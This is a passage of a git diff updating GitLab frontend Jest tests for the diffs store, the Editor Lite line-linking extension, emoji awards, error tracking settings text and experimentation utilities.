- setFileByFile,
- { fileByFile: value },
- { viewDiffsFileByFile: null },
- [{ type: types.SET_FILE_BY_FILE, payload: value }],
- [],
- );
- });
+ `(
+ 'commits SET_FILE_BY_FILE and persists the File-by-File user preference with the new value $value',
+ async ({ value }) => {
+ await testAction(
+ setFileByFile,
+ { fileByFile: value },
+ {
+ viewDiffsFileByFile: null,
+ endpointUpdateUser: updateUserEndpoint,
+ },
+ [{ type: types.SET_FILE_BY_FILE, payload: value }],
+ [],
+ );
+
+ expect(putSpy).toHaveBeenCalledWith(updateUserEndpoint, { view_diffs_file_by_file: value });
+ },
+ );
});
describe('reviewFile', () => {
diff --git a/spec/frontend/diffs/store/getters_spec.js b/spec/frontend/diffs/store/getters_spec.js
index 04606b48662..2e3a66d5b01 100644
--- a/spec/frontend/diffs/store/getters_spec.js
+++ b/spec/frontend/diffs/store/getters_spec.js
@@ -377,32 +377,40 @@ describe('Diffs Module Getters', () => {
});
describe('suggestionCommitMessage', () => {
+ let rootState;
+
beforeEach(() => {
Object.assign(localState, {
defaultSuggestionCommitMessage:
'%{branch_name}%{project_path}%{project_name}%{username}%{user_full_name}%{file_paths}%{suggestions_count}%{files_count}',
- branchName: 'branch',
- projectPath: '/path',
- projectName: 'name',
- username: 'user',
- userFullName: 'user userton',
});
+ rootState = {
+ page: {
+ mrMetadata: {
+ branch_name: 'branch',
+ project_path: '/path',
+ project_name: 'name',
+ username: 'user',
+ user_full_name: 'user userton',
+ },
+ },
+ };
});
it.each`
- specialState | output
- ${{}} | ${'branch/pathnameuseruser userton%{file_paths}%{suggestions_count}%{files_count}'}
- ${{ userFullName: null }} | ${'branch/pathnameuser%{user_full_name}%{file_paths}%{suggestions_count}%{files_count}'}
- ${{ username: null }} | ${'branch/pathname%{username}user userton%{file_paths}%{suggestions_count}%{files_count}'}
- ${{ projectName: null }} | ${'branch/path%{project_name}useruser userton%{file_paths}%{suggestions_count}%{files_count}'}
- ${{ projectPath: null }} | ${'branch%{project_path}nameuseruser userton%{file_paths}%{suggestions_count}%{files_count}'}
- ${{ branchName: null }} | ${'%{branch_name}/pathnameuseruser userton%{file_paths}%{suggestions_count}%{files_count}'}
+ specialState | output
+ ${{}} | ${'branch/pathnameuseruser userton%{file_paths}%{suggestions_count}%{files_count}'}
+ ${{ user_full_name: null }} | ${'branch/pathnameuser%{user_full_name}%{file_paths}%{suggestions_count}%{files_count}'}
+ ${{ username: null }} | ${'branch/pathname%{username}user userton%{file_paths}%{suggestions_count}%{files_count}'}
+ ${{ project_name: null }} | ${'branch/path%{project_name}useruser userton%{file_paths}%{suggestions_count}%{files_count}'}
+ ${{ project_path: null }} | ${'branch%{project_path}nameuseruser userton%{file_paths}%{suggestions_count}%{files_count}'}
+ ${{ branch_name: null }} | ${'%{branch_name}/pathnameuseruser userton%{file_paths}%{suggestions_count}%{files_count}'}
`(
'provides the correct "base" default commit message based on state ($specialState)',
({ specialState, output }) => {
- Object.assign(localState, specialState);
+ Object.assign(rootState.page.mrMetadata, specialState);
- expect(getters.suggestionCommitMessage(localState)()).toBe(output);
+ expect(getters.suggestionCommitMessage(localState, null, rootState)()).toBe(output);
},
);
@@ -417,7 +425,9 @@ describe('Diffs Module Getters', () => {
`(
"properly overrides state values ($stateOverrides) if they're provided",
({ stateOverrides, output }) => {
- expect(getters.suggestionCommitMessage(localState)(stateOverrides)).toBe(output);
+ expect(getters.suggestionCommitMessage(localState, null, rootState)(stateOverrides)).toBe(
+ output,
+ );
},
);
@@ -431,7 +441,9 @@ describe('Diffs Module Getters', () => {
`(
"fills in any missing interpolations ($providedValues) when they're provided at the getter callsite",
({ providedValues, output }) => {
- expect(getters.suggestionCommitMessage(localState)(providedValues)).toBe(output);
+ expect(getters.suggestionCommitMessage(localState, null, rootState)(providedValues)).toBe(
+ output,
+ );
},
);
});
diff --git a/spec/frontend/diffs/store/mutations_spec.js b/spec/frontend/diffs/store/mutations_spec.js
index a8ae759e693..b549ca42634 100644
--- a/spec/frontend/diffs/store/mutations_spec.js
+++ b/spec/frontend/diffs/store/mutations_spec.js
@@ -7,15 +7,17 @@ import diffFileMockData from '../mock_data/diff_file';
describe('DiffsStoreMutations', () => {
describe('SET_BASE_CONFIG', () => {
- it('should set endpoint and project path', () => {
+ it.each`
+ prop | value
+ ${'endpoint'} | ${'/diffs/endpoint'}
+ ${'projectPath'} | ${'/root/project'}
+ ${'endpointUpdateUser'} | ${'/user/preferences'}
+ `('should set the $prop property into state', ({ prop, value }) => {
const state = {};
- const endpoint = '/diffs/endpoint';
- const projectPath = '/root/project';
- mutations[types.SET_BASE_CONFIG](state, { endpoint, projectPath });
+ mutations[types.SET_BASE_CONFIG](state, { [prop]: value });
- expect(state.endpoint).toEqual(endpoint);
- expect(state.projectPath).toEqual(projectPath);
+ expect(state[prop]).toEqual(value);
});
});
diff --git a/spec/frontend/diffs/utils/interoperability_spec.js b/spec/frontend/diffs/utils/interoperability_spec.js
new file mode 100644
index 00000000000..2557e83cb4c
--- /dev/null
+++ b/spec/frontend/diffs/utils/interoperability_spec.js
@@ -0,0 +1,67 @@
+import {
+ getInteropInlineAttributes,
+ getInteropNewSideAttributes,
+ getInteropOldSideAttributes,
+ ATTR_TYPE,
+ ATTR_LINE,
+ ATTR_NEW_LINE,
+ ATTR_OLD_LINE,
+} from '~/diffs/utils/interoperability';
+
+describe('~/diffs/utils/interoperability', () => {
+ describe('getInteropInlineAttributes', () => {
+ it.each([
+ ['with null input', { input: null, output: null }],
+ [
+ 'with type=old input',
+ {
+ input: { type: 'old', old_line: 3, new_line: 5 },
+ output: { [ATTR_TYPE]: 'old', [ATTR_LINE]: 3, [ATTR_OLD_LINE]: 3, [ATTR_NEW_LINE]: 5 },
+ },
+ ],
+ [
+ 'with type=old-nonewline input',
+ {
+ input: { type: 'old-nonewline', old_line: 3, new_line: 5 },
+ output: { [ATTR_TYPE]: 'old', [ATTR_LINE]: 3, [ATTR_OLD_LINE]: 3, [ATTR_NEW_LINE]: 5 },
+ },
+ ],
+ [
+ 'with type=new input',
+ {
+ input: { type: 'new', old_line: 3, new_line: 5 },
+ output: { [ATTR_TYPE]: 'new', [ATTR_LINE]: 5, [ATTR_OLD_LINE]: 3, [ATTR_NEW_LINE]: 5 },
+ },
+ ],
+ [
+ 'with type=bogus input',
+ {
+ input: { type: 'bogus', old_line: 3, new_line: 5 },
+ output: { [ATTR_TYPE]: 'new', [ATTR_LINE]: 5, [ATTR_OLD_LINE]: 3, [ATTR_NEW_LINE]: 5 },
+ },
+ ],
+ ])('%s', (desc, { input, output }) => {
+ expect(getInteropInlineAttributes(input)).toEqual(output);
+ });
+ });
+
+ describe('getInteropOldSideAttributes', () => {
+ it.each`
+ input | output
+ ${null} | ${null}
+ ${{ old_line: 2 }} | ${{ [ATTR_TYPE]: 'old', [ATTR_LINE]: 2, [ATTR_OLD_LINE]: 2 }}
+ `('with input=$input', ({ input, output }) => {
+ expect(getInteropOldSideAttributes(input)).toEqual(output);
+ });
+ });
+
+ describe('getInteropNewSideAttributes', () => {
+ it.each`
+ input | output
+ ${null} | ${null}
+ ${{ new_line: 2 }} | ${{ [ATTR_TYPE]: 'new', [ATTR_LINE]: 2, [ATTR_NEW_LINE]: 2 }}
+ `('with input=$input', ({ input, output }) => {
+ expect(getInteropNewSideAttributes(input)).toEqual(output);
+ });
+ });
+});
diff --git a/spec/frontend/editor/editor_lite_extension_base_spec.js b/spec/frontend/editor/editor_lite_extension_base_spec.js
index 5490e9dc7b5..1ae8c70c741 100644
--- a/spec/frontend/editor/editor_lite_extension_base_spec.js
+++ b/spec/frontend/editor/editor_lite_extension_base_spec.js
@@ -1,44 +1,247 @@
-import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION } from '~/editor/constants';
+import { Range } from 'monaco-editor';
+import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
+import {
+ ERROR_INSTANCE_REQUIRED_FOR_EXTENSION,
+ EDITOR_TYPE_CODE,
+ EDITOR_TYPE_DIFF,
+} from '~/editor/constants';
import { EditorLiteExtension } from '~/editor/extensions/editor_lite_extension_base';
describe('The basis for an Editor Lite extension', () => {
+ const defaultLine = 3;
let ext;
+ let event;
+
const defaultOptions = { foo: 'bar' };
+ const findLine = (num) => {
+ return document.querySelector(`.line-numbers:nth-child(${num})`);
+ };
+ const generateLines = () => {
+ let res = '';
+ for (let line = 1, lines = 5; line <= lines; line += 1) {
+ res += `<div class="line-numbers">${line}</div>`;
+ }
+ return res;
+ };
+ const generateEventMock = ({ line = defaultLine, el = null } = {}) => {
+ return {
+ target: {
+ element: el || findLine(line),
+ position: {
+ lineNumber: line,
+ },
+ },
+ };
+ };
+
+ beforeEach(() => {
+ setFixtures(generateLines());
+ event = generateEventMock();
+ });
+
+ afterEach(() => {
+ jest.clearAllMocks();
+ });
+
+ describe('constructor', () => {
+ it.each`
+ description | instance | options
+ ${'accepts configuration options and instance'} | ${{}} | ${defaultOptions}
+ ${'leaves instance intact if no options are passed'} | ${{}} | ${undefined}
+ ${'does not fail if both instance and the options are omitted'} | ${undefined} | ${undefined}
+ ${'throws if only options are passed'} | ${undefined} | ${defaultOptions}
+ `('$description', ({ instance, options } = {}) => {
+ const originalInstance = { ...instance };
- it.each`
- description | instance | options
- ${'accepts configuration options and instance'} | ${{}} | ${defaultOptions}
- ${'leaves instance intact if no options are passed'} | ${{}} | ${undefined}
- ${'does not fail if both instance and the options are omitted'} | ${undefined} | ${undefined}
- ${'throws if only options are passed'} | ${undefined} | ${defaultOptions}
- `('$description', ({ instance, options } = {}) => {
- const originalInstance = { ...instance };
-
- if (instance) {
- if (options) {
- Object.entries(options).forEach((prop) => {
- expect(instance[prop]).toBeUndefined();
- });
- // Both instance and options are passed
- ext = new EditorLiteExtension({ instance, ...options });
- Object.entries(options).forEach(([prop, value]) => {
- expect(ext[prop]).toBeUndefined();
- expect(instance[prop]).toBe(value);
- });
+ if (instance) {
+ if (options) {
+ Object.entries(options).forEach((prop) => {
+ expect(instance[prop]).toBeUndefined();
+ });
+ // Both instance and options are passed
+ ext = new EditorLiteExtension({ instance, ...options });
+ Object.entries(options).forEach(([prop, value]) => {
+ expect(ext[prop]).toBeUndefined();
+ expect(instance[prop]).toBe(value);
+ });
+ } else {
+ ext = new EditorLiteExtension({ instance });
+ expect(instance).toEqual(originalInstance);
+ }
+ } else if (options) {
+ // Options are passed without instance
+ expect(() => {
+ ext = new EditorLiteExtension({ ...options });
+ }).toThrow(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
} else {
- ext = new EditorLiteExtension({ instance });
- expect(instance).toEqual(originalInstance);
+ // Neither options nor instance are passed
+ expect(() => {
+ ext = new EditorLiteExtension();
+ }).not.toThrow();
}
- } else if (options) {
- // Options are passed without instance
- expect(() => {
- ext = new EditorLiteExtension({ ...options });
- }).toThrow(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
- } else {
- // Neither options nor instance are passed
- expect(() => {
- ext = new EditorLiteExtension();
- }).not.toThrow();
- }
+ });
+
+ it('initializes the line highlighting', () => {
+ const spy = jest.spyOn(EditorLiteExtension, 'highlightLines');
+ ext = new EditorLiteExtension({ instance: {} });
+ expect(spy).toHaveBeenCalled();
+ });
+
+ it('sets up the line linking for code instance', () => {
+ const spy = jest.spyOn(EditorLiteExtension, 'setupLineLinking');
+ const instance = {
+ getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_CODE),
+ onMouseMove: jest.fn(),
+ onMouseDown: jest.fn(),
+ };
+ ext = new EditorLiteExtension({ instance });
+ expect(spy).toHaveBeenCalledWith(instance);
+ });
+
+ it('does not set up the line linking for diff instance', () => {
+ const spy = jest.spyOn(EditorLiteExtension, 'setupLineLinking');
+ const instance = {
+ getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_DIFF),
+ };
+ ext = new EditorLiteExtension({ instance });
+ expect(spy).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('highlightLines', () => {
+ const revealSpy = jest.fn();
+ const decorationsSpy = jest.fn();
+ const instance = {
+ revealLineInCenter: revealSpy,
+ deltaDecorations: decorationsSpy,
+ };
+ const defaultDecorationOptions = { isWholeLine: true, className: 'active-line-text' };
+
+ useFakeRequestAnimationFrame();
+
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(`https://localhost`);
+ });
+
+ afterEach(() => {
+ window.location.hash = '';
+ });
+
+ it.each`
+ desc | hash | shouldReveal | expectedRange
+ ${'properly decorates a single line'} | ${'#L10'} | ${true} | ${[10, 1, 10, 1]}
+ ${'properly decorates multiple lines'} | ${'#L7-42'} | ${true} | ${[7, 1, 42, 1]}
+ ${'correctly highlights if lines are reversed'} | ${'#L42-7'} | ${true} | ${[7, 1, 42, 1]}
+ ${'highlights one line if start/end are the same'} | ${'#L7-7'} | ${true} | ${[7, 1, 7, 1]}
+ ${'does not highlight if there is no hash'} | ${''} | ${false} | ${null}
+ ${'does not highlight if the hash is undefined'} | ${undefined} | ${false} | ${null}
+ ${'does not highlight if hash is incomplete 1'} | ${'#L'} | ${false} | ${null}
+ ${'does not highlight if hash is incomplete 2'} | ${'#L-'} | ${false} | ${null}
+ `('$desc', ({ hash, shouldReveal, expectedRange } = {}) => {
+ window.location.hash = hash;
+ EditorLiteExtension.highlightLines(instance);
+ if (!shouldReveal) {
+ expect(revealSpy).not.toHaveBeenCalled();
+ expect(decorationsSpy).not.toHaveBeenCalled();
+ } else {
+ expect(revealSpy).toHaveBeenCalledWith(expectedRange[0]);
+ expect(decorationsSpy).toHaveBeenCalledWith(
+ [],
+ [
+ {
+ range: new Range(...expectedRange),
+ options: defaultDecorationOptions,
+ },
+ ],
+ );
+ }
+ });
+
+ it('stores the line decorations on the instance', () => {
+ decorationsSpy.mockReturnValue('foo');
+ window.location.hash = '#L10';
+ expect(instance.lineDecorations).toBeUndefined();
+ EditorLiteExtension.highlightLines(instance);
+ expect(instance.lineDecorations).toBe('foo');
+ });
+ });
+
+ describe('setupLineLinking', () => {
+ const instance = {
+ onMouseMove: jest.fn(),
+ onMouseDown: jest.fn(),
+ deltaDecorations: jest.fn(),
+ lineDecorations: 'foo',
+ };
+
+ beforeEach(() => {
+ EditorLiteExtension.onMouseMoveHandler(event); // generate the anchor
+ });
+
+ it.each`
+ desc | spy
+ ${'onMouseMove'} | ${instance.onMouseMove}
+ ${'onMouseDown'} | ${instance.onMouseDown}
+ `('sets up the $desc listener', ({ spy } = {}) => {
+ EditorLiteExtension.setupLineLinking(instance);
+ expect(spy).toHaveBeenCalled();
+ });
+
+ it.each`
+ desc | eventTrigger | shouldRemove
+ ${'does not remove the line decorations if the event is triggered on a wrong node'} | ${null} | ${false}
+ ${'removes existing line decorations when clicking a line number'} | ${'.link-anchor'} | ${true}
+ `('$desc', ({ eventTrigger, shouldRemove } = {}) => {
+ event = generateEventMock({ el: eventTrigger ? document.querySelector(eventTrigger) : null });
+ instance.onMouseDown.mockImplementation((fn) => {
+ fn(event);
+ });
+
+ EditorLiteExtension.setupLineLinking(instance);
+ if (shouldRemove) {
+ expect(instance.deltaDecorations).toHaveBeenCalledWith(instance.lineDecorations, []);
+ } else {
+ expect(instance.deltaDecorations).not.toHaveBeenCalled();
+ }
+ });
+ });
+
+ describe('onMouseMoveHandler', () => {
+ it('stops propagation for contextmenu event on the generated anchor', () => {
+ EditorLiteExtension.onMouseMoveHandler(event);
+ const anchor = findLine(defaultLine).querySelector('a');
+ const contextMenuEvent = new Event('contextmenu');
+
+ jest.spyOn(contextMenuEvent, 'stopPropagation');
+ anchor.dispatchEvent(contextMenuEvent);
+
+ expect(contextMenuEvent.stopPropagation).toHaveBeenCalled();
+ });
+
+ it('creates an anchor if it does not exist yet', () => {
+ expect(findLine(defaultLine).querySelector('a')).toBe(null);
+ EditorLiteExtension.onMouseMoveHandler(event);
+ expect(findLine(defaultLine).querySelector('a')).not.toBe(null);
+ });
+
+ it('does not create a new anchor if it exists', () => {
+ EditorLiteExtension.onMouseMoveHandler(event);
+ expect(findLine(defaultLine).querySelector('a')).not.toBe(null);
+
+ EditorLiteExtension.createAnchor = jest.fn();
+ EditorLiteExtension.onMouseMoveHandler(event);
+ expect(EditorLiteExtension.createAnchor).not.toHaveBeenCalled();
+ expect(findLine(defaultLine).querySelectorAll('a')).toHaveLength(1);
+ });
+
+ it('does not create a link if the event is triggered on a wrong node', () => {
+ setFixtures('<div class="wrong-class">3</div>');
+ EditorLiteExtension.createAnchor = jest.fn();
+ const wrongEvent = generateEventMock({ el: document.querySelector('.wrong-class') });
+
+ EditorLiteExtension.onMouseMoveHandler(wrongEvent);
+ expect(EditorLiteExtension.createAnchor).not.toHaveBeenCalled();
+ });
});
});
diff --git a/spec/frontend/emoji/awards_app/store/actions_spec.js b/spec/frontend/emoji/awards_app/store/actions_spec.js
new file mode 100644
index 00000000000..dac4fded260
--- /dev/null
+++ b/spec/frontend/emoji/awards_app/store/actions_spec.js
@@ -0,0 +1,155 @@
+import * as Sentry from '@sentry/browser';
+import MockAdapter from 'axios-mock-adapter';
+import testAction from 'helpers/vuex_action_helper';
+import * as actions from '~/emoji/awards_app/store/actions';
+import axios from '~/lib/utils/axios_utils';
+
+jest.mock('@sentry/browser');
+
+describe('Awards app actions', () => {
+ describe('setInitialData', () => {
+ it('commits SET_INITIAL_DATA', async () => {
+ await testAction(
+ actions.setInitialData,
+ { path: 'https://gitlab.com' },
+ {},
+ [{ type: 'SET_INITIAL_DATA', payload: { path: 'https://gitlab.com' } }],
+ [],
+ );
+ });
+ });
+
+ describe('fetchAwards', () => {
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ describe('success', () => {
+ beforeEach(() => {
+ mock
+ .onGet('/awards', { params: { per_page: 100, page: '1' } })
+ .reply(200, ['thumbsup'], { 'x-next-page': '2' });
+ mock.onGet('/awards', { params: { per_page: 100, page: '2' } }).reply(200, ['thumbsdown']);
+ });
+
+ it('commits FETCH_AWARDS_SUCCESS', async () => {
+ await testAction(
+ actions.fetchAwards,
+ '1',
+ { path: '/awards' },
+ [{ type: 'FETCH_AWARDS_SUCCESS', payload: ['thumbsup'] }],
+ [{ type: 'fetchAwards', payload: '2' }],
+ );
+ });
+ });
+
+ describe('error', () => {
+ beforeEach(() => {
+ mock.onGet('/awards').reply(500);
+ });
+
+ it('calls Sentry.captureException', async () => {
+ await testAction(actions.fetchAwards, null, { path: '/awards' }, [], [], () => {
+ expect(Sentry.captureException).toHaveBeenCalled();
+ });
+ });
+ });
+ });
+
+ describe('toggleAward', () => {
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ describe('adding new award', () => {
+ describe('success', () => {
+ beforeEach(() => {
+ mock.onPost('/awards').reply(200, { id: 1 });
+ });
+
+ it('commits ADD_NEW_AWARD', async () => {
+ testAction(actions.toggleAward, null, { path: '/awards', awards: [] }, [
+ { type: 'ADD_NEW_AWARD', payload: { id: 1 } },
+ ]);
+ });
+ });
+
+ describe('error', () => {
+ beforeEach(() => {
+ mock.onPost('/awards').reply(500);
+ });
+
+ it('calls Sentry.captureException', async () => {
+ await testAction(
+ actions.toggleAward,
+ null,
+ { path: '/awards', awards: [] },
+ [],
+ [],
+ () => {
+ expect(Sentry.captureException).toHaveBeenCalled();
+ },
+ );
+ });
+ });
+ });
+
+ describe('removing a award', () => {
+ const mockData = { id: 1, name: 'thumbsup', user: { id: 1 } };
+
+ describe('success', () => {
+ beforeEach(() => {
+ mock.onDelete('/awards/1').reply(200);
+ });
+
+ it('commits REMOVE_AWARD', async () => {
+ testAction(
+ actions.toggleAward,
+ 'thumbsup',
+ {
+ path: '/awards',
+ currentUserId: 1,
+ awards: [mockData],
+ },
+ [{ type: 'REMOVE_AWARD', payload: 1 }],
+ );
+ });
+ });
+
+ describe('error', () => {
+ beforeEach(() => {
+ mock.onDelete('/awards/1').reply(500);
+ });
+
+ it('calls Sentry.captureException', async () => {
+ await testAction(
+ actions.toggleAward,
+ 'thumbsup',
+ {
+ path: '/awards',
+ currentUserId: 1,
+ awards: [mockData],
+ },
+ [],
+ [],
+ () => {
+ expect(Sentry.captureException).toHaveBeenCalled();
+ },
+ );
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/emoji/awards_app/store/mutations_spec.js b/spec/frontend/emoji/awards_app/store/mutations_spec.js
new file mode 100644
index 00000000000..dd32c3a4445
--- /dev/null
+++ b/spec/frontend/emoji/awards_app/store/mutations_spec.js
@@ -0,0 +1,65 @@
+import {
+ SET_INITIAL_DATA,
+ FETCH_AWARDS_SUCCESS,
+ ADD_NEW_AWARD,
+ REMOVE_AWARD,
+} from '~/emoji/awards_app/store/mutation_types';
+import mutations from '~/emoji/awards_app/store/mutations';
+
+describe('Awards app mutations', () => {
+ describe('SET_INITIAL_DATA', () => {
+ it('sets initial data', () => {
+ const state = {};
+
+ mutations[SET_INITIAL_DATA](state, {
+ path: 'https://gitlab.com',
+ currentUserId: 1,
+ canAwardEmoji: true,
+ });
+
+ expect(state).toEqual({
+ path: 'https://gitlab.com',
+ currentUserId: 1,
+ canAwardEmoji: true,
+ });
+ });
+ });
+
+ describe('FETCH_AWARDS_SUCCESS', () => {
+ it('sets awards', () => {
+ const state = { awards: [] };
+
+ mutations[FETCH_AWARDS_SUCCESS](state, ['thumbsup']);
+
+ expect(state.awards).toEqual(['thumbsup']);
+ });
+
+ it('does not overwrite previously set awards', () => {
+ const state = { awards: ['thumbsup'] };
+
+ mutations[FETCH_AWARDS_SUCCESS](state, ['thumbsdown']);
+
+ expect(state.awards).toEqual(['thumbsup', 'thumbsdown']);
+ });
+ });
+
+ describe('ADD_NEW_AWARD', () => {
+ it('adds new award to array', () => {
+ const state = { awards: ['thumbsup'] };
+
+ mutations[ADD_NEW_AWARD](state, 'thumbsdown');
+
+ expect(state.awards).toEqual(['thumbsup', 'thumbsdown']);
+ });
+ });
+
+ describe('REMOVE_AWARD', () => {
+ it('removes award from array', () => {
+ const state = { awards: [{ id: 1 }, { id: 2 }] };
+
+ mutations[REMOVE_AWARD](state, 1);
+
+ expect(state.awards).toEqual([{ id: 2 }]);
+ });
+ });
+});
diff --git a/spec/frontend/environments/enable_review_app_modal_spec.js b/spec/frontend/environments/enable_review_app_modal_spec.js
index f5063cff620..9a3f13f19d5 100644
--- a/spec/frontend/environments/enable_review_app_modal_spec.js
+++ b/spec/frontend/environments/enable_review_app_modal_spec.js
@@ -1,4 +1,5 @@
import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import EnableReviewAppButton from '~/environments/components/enable_review_app_modal.vue';
import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
@@ -11,15 +12,25 @@ describe('Enable Review App Button', () => {
describe('renders the modal', () => {
beforeEach(() => {
- wrapper = shallowMount(EnableReviewAppButton, {
- propsData: {
- modalId: 'fake-id',
- },
- });
+ wrapper = extendedWrapper(
+ shallowMount(EnableReviewAppButton, {
+ propsData: {
+ modalId: 'fake-id',
+ },
+ provide: {
+ defaultBranchName: 'main',
+ },
+ }),
+ );
+ });
+
+ it('renders the defaultBranchName copy', () => {
+ const findCopyString = () => wrapper.findByTestId('enable-review-app-copy-string');
+ expect(findCopyString().text()).toContain('- main');
});
it('renders the copyToClipboard button', () => {
- expect(wrapper.find(ModalCopyButton).exists()).toBe(true);
+ expect(wrapper.findComponent(ModalCopyButton).exists()).toBe(true);
});
});
});
diff --git a/spec/frontend/error_tracking/components/error_tracking_list_spec.js b/spec/frontend/error_tracking/components/error_tracking_list_spec.js
index c6ce236af01..c0c542ae587 100644
--- a/spec/frontend/error_tracking/components/error_tracking_list_spec.js
+++ b/spec/frontend/error_tracking/components/error_tracking_list_spec.js
@@ -52,7 +52,6 @@ describe('ErrorTrackingList', () => {
beforeEach(() => {
actions = {
- getErrorList: () => {},
startPolling: jest.fn(),
restartPolling: jest.fn().mockName('restartPolling'),
addRecentSearch: jest.fn(),
diff --git a/spec/frontend/error_tracking_settings/components/error_tracking_form_spec.js b/spec/frontend/error_tracking_settings/components/error_tracking_form_spec.js
index 7ebaf0c3f2a..f02a261f323 100644
--- a/spec/frontend/error_tracking_settings/components/error_tracking_form_spec.js
+++ b/spec/frontend/error_tracking_settings/components/error_tracking_form_spec.js
@@ -44,13 +44,13 @@ describe('error tracking settings form', () => {
const pageText = wrapper.text();
expect(pageText).toContain(
- "If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io",
+ "If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io",
);
expect(pageText).toContain(
- "After adding your Auth Token, use the 'Connect' button to load projects",
+ 'After adding your Auth Token, select the Connect button to load projects.',
);
- expect(pageText).not.toContain('Connection has failed. Re-check Auth Token and try again');
+ expect(pageText).not.toContain('Connection failed. Check Auth Token and try again.');
expect(wrapper.findAll(GlFormInput).at(0).attributes('placeholder')).toContain(
'https://mysentryserver.com',
);
@@ -80,9 +80,7 @@ describe('error tracking settings form', () => {
});
it('does not show an error', () => {
- expect(wrapper.text()).not.toContain(
- 'Connection has failed. Re-check Auth Token and try again',
- );
+ expect(wrapper.text()).not.toContain('Connection failed. Check Auth Token and try again.');
});
});
@@ -96,7 +94,7 @@ describe('error tracking settings form', () => {
});
it('shows an error', () => {
- expect(wrapper.text()).toContain('Connection has failed. Re-check Auth Token and try again');
+ expect(wrapper.text()).toContain('Connection failed. Check Auth Token and try again.');
});
});
});
diff --git a/spec/frontend/error_tracking_settings/store/getters_spec.js b/spec/frontend/error_tracking_settings/store/getters_spec.js
index b135fdee40b..4bb8d38e294 100644
--- a/spec/frontend/error_tracking_settings/store/getters_spec.js
+++ b/spec/frontend/error_tracking_settings/store/getters_spec.js
@@ -78,7 +78,7 @@ describe('Error Tracking Settings - Getters', () => {
describe('projectSelectionLabel', () => {
it('should show the correct message when the token is empty', () => {
expect(getters.projectSelectionLabel(state)).toEqual(
- 'To enable project selection, enter a valid Auth Token',
+ 'To enable project selection, enter a valid Auth Token.',
);
});
@@ -86,7 +86,7 @@ describe('Error Tracking Settings - Getters', () => {
state.token = 'test-token';
expect(getters.projectSelectionLabel(state)).toEqual(
- "Click 'Connect' to re-establish the connection to Sentry and activate the dropdown.",
+ 'Click Connect to reestablish the connection to Sentry and activate the dropdown.',
);
});
});
diff --git a/spec/frontend/experimentation/components/experiment_spec.js b/spec/frontend/experimentation/components/experiment_spec.js
new file mode 100644
index 00000000000..dbc7da5c535
--- /dev/null
+++ b/spec/frontend/experimentation/components/experiment_spec.js
@@ -0,0 +1,72 @@
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import ExperimentComponent from '~/experimentation/components/experiment.vue';
+
+const defaultProps = { name: 'experiment_name' };
+const defaultSlots = {
+ candidate: `<p>Candidate</p>`,
+ control: `<p>Control</p>`,
+};
+
+describe('ExperimentComponent', () => {
+ const oldGon = window.gon;
+ let wrapper;
+
+ const createComponent = (propsData = defaultProps, slots = defaultSlots) => {
+ wrapper = extendedWrapper(shallowMount(ExperimentComponent, { propsData, slots }));
+ };
+
+ const mockVariant = (expectedVariant) => {
+ window.gon = { experiment: { experiment_name: { variant: expectedVariant } } };
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ window.gon = oldGon;
+ });
+
+ describe('when variant and experiment is set', () => {
+ it('renders control when it is the active variant', () => {
+ mockVariant('control');
+
+ createComponent();
+
+ expect(wrapper.text()).toBe('Control');
+ });
+
+ it('renders candidate when it is the active variant', () => {
+ mockVariant('candidate');
+
+ createComponent();
+
+ expect(wrapper.text()).toBe('Candidate');
+ });
+ });
+
+ describe('when variant or experiment is not set', () => {
+ it('renders the control slot when no variant is defined', () => {
+ mockVariant(undefined);
+
+ createComponent();
+
+ expect(wrapper.text()).toBe('Control');
+ });
+
+ it('renders nothing when behavior is not set for variant', () => {
+ mockVariant('non-existing-variant');
+
+ createComponent(defaultProps, { control: `<p>First</p>`, other: `<p>Other</p>` });
+
+ expect(wrapper.text()).toBe('');
+ });
+
+ it('renders nothing when there are no slots', () => {
+ mockVariant('control');
+
+ createComponent(defaultProps, {});
+
+ expect(wrapper.text()).toBe('');
+ });
+ });
+});
diff --git a/spec/frontend/experimentation/utils_spec.js b/spec/frontend/experimentation/utils_spec.js
index 87dd2d595ba..ec09bbab349 100644
--- a/spec/frontend/experimentation/utils_spec.js
+++ b/spec/frontend/experimentation/utils_spec.js
@@ -1,38 +1,97 @@
+import { assignGitlabExperiment } from 'helpers/experimentation_helper';
+import { DEFAULT_VARIANT, CANDIDATE_VARIANT } from '~/experimentation/constants';
import * as experimentUtils from '~/experimentation/utils';
-const TEST_KEY = 'abc';
-
describe('experiment Utilities', () => {
- const oldGon = window.gon;
-
- afterEach(() => {
- window.gon = oldGon;
- });
+ const TEST_KEY = 'abc';
describe('getExperimentData', () => {
- it.each`
- gon | input | output
- ${{ experiment: { [TEST_KEY]: '_data_' } }} | ${[TEST_KEY]} | ${'_data_'}
- ${{}} | ${[TEST_KEY]} | ${undefined}
- `('with input=$input and gon=$gon, returns $output', ({ gon, input, output }) => {
- window.gon = gon;
+ describe.each`
+ gon | input | output
+ ${[TEST_KEY, '_data_']} | ${[TEST_KEY]} | ${{ variant: '_data_' }}
+ ${[]} | ${[TEST_KEY]} | ${undefined}
+ `('with input=$input and gon=$gon', ({ gon, input, output }) => {
+ assignGitlabExperiment(...gon);
- expect(experimentUtils.getExperimentData(...input)).toEqual(output);
+ it(`returns ${output}`, () => {
+ expect(experimentUtils.getExperimentData(...input)).toEqual(output);
+ });
